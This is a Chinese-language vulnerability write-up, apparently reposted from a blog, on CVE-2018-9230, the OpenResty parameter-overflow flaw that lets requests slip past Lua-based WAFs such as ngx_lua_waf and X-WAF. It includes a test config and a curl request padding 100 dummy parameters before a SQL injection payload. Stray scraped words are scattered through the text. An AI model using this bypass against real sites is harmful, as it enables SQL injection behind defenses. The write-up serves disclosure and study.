OpenResty® 是一個基於 Nginx 與 Lua 的高性能 Web 平臺,其內部集成了大量精良的 Lua 庫、第三方模塊以及大多數的依賴項。html
OpenResty官網:https://openresty.org
漏洞編號:CVE-2018-9230
漏洞簡介:OpenResty 經過ngx.req.get_uri_args、ngx.req.get_post_args函數進行uri參數獲取,忽略參數溢出的狀況,容許遠程攻擊者繞過基於OpenResty的安全防禦,影響多款開源WAF。
影響版本:OpenResty全版本nginx
運行環境:CentOS6
源碼版本:https://openresty.org/download/openresty-1.13.6.1.tar.gz (官網最新版)git
首先看一下官方 API 文檔,獲取一個 uri 有兩個方法:ngx.req.get_uri_args、ngx.req.get_post_args,兩者主要的區別是參數來源有區別,ngx.req.get_uri_args獲取 uri 請求參數,ngx.req.get_post_args獲取來自 post 請求內容。github
測試用例:
`server {
listen 80;
server_name localhost;web
location /test {
content_by_lua_block {
local arg = ngx.req.get_uri_args()
for k,v in pairs(arg) do
ngx.say(「[GET ] key:」, k, 「 v:」, v)
end
ngx.req.read_body()
local arg = ngx.req.get_post_args()
for k,v in pairs(arg) do
ngx.say(「[POST] key:」, k, 「 v:」, v)
end
}
}
}
`
輸出測試:shell
當提交同一參數id,根據接收參數的順序進行排序,
但是當參數id,進行大小寫變換,如變形爲Id、iD、ID,則會被當作不一樣的參數。
這裏,介紹參數大小寫,主要用於進一步構造和理解測試用例。安全
若是當咱們不段填充參數,會發生什麼狀況呢,爲此我構造了一個方便用於展現的測試案例,a0-a9,10*10,共100參數,而後第101個參數添加SQL注入 Payload,咱們來看看會發生什麼?curl
測試用例:curl '127.0.0.1/test?
a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&
a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&
a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&
a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&
a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&
a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&
a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&
a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&
a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&
a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&
id=1 union select 1,schema_name,3 from INFORMATION_SCHEMA.schemata
輸出結果:
能夠看到,使用ngx.req.get_uri_args獲取uri 請求參數,只獲取前100個參數,第101個參數並無獲取到。繼續構造一個POST請求,來看一下:
使用ngx.req.get_post_args 獲取的post請求內容,也一樣只獲取前100個參數。函數
檢查這兩個函數的文檔,出於安全緣由默認的限制是100,它們接受一個可選參數,最多能夠告訴它應該解析多少GET / POST參數。但只要攻擊者構造的參數超過限制數就能夠輕易繞過基於OpenResty的安全防禦,這就存在一個uri參數溢出的問題。post
綜上,經過ngx.req.get_uri_args、ngx.req.get_post_args獲取uri參數,當提交的參數超過限制數(默認限制100或可選參數限制),uri參數溢出,沒法獲取到限制數之後的參數值,更沒法對攻擊者構造的參數進行有效安全檢測,從而繞過基於OpenResty的WEB安全防禦。
基於OpenResty構造的WEB安全防禦,大多數使用ngx.req.get_uri_args、ngx.req.get_post_args獲取uri參數,即默認限制100,並無考慮參數溢出的狀況,攻擊者可構造超過限制數的參數,輕易的繞過安全防禦。
基於OpenResty的開源WAF如:ngx_lua_waf、X-WAF、Openstar等,均受影響。
ngx_lua_waf是一個基於lua-nginx-module(openresty)的web應用防火牆
github源碼:https://github.com/loveshell/ngx_lua_waf
攔截效果圖:
利用參數溢出Bypass:
X-WAF是一款適用中、小企業的雲WAF系統,讓中、小企業也能夠很是方便地擁有本身的免費雲WAF。
官網:https://waf.xsec.io
github源碼:https://github.com/xsec-lab/x-waf
攔截效果圖:
利用參數溢出Bypass:
https://github.com/openresty/openresty/issues/358
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9230
http://wiki.jikexueyuan.com/project/openresty/openresty/get_url_param.html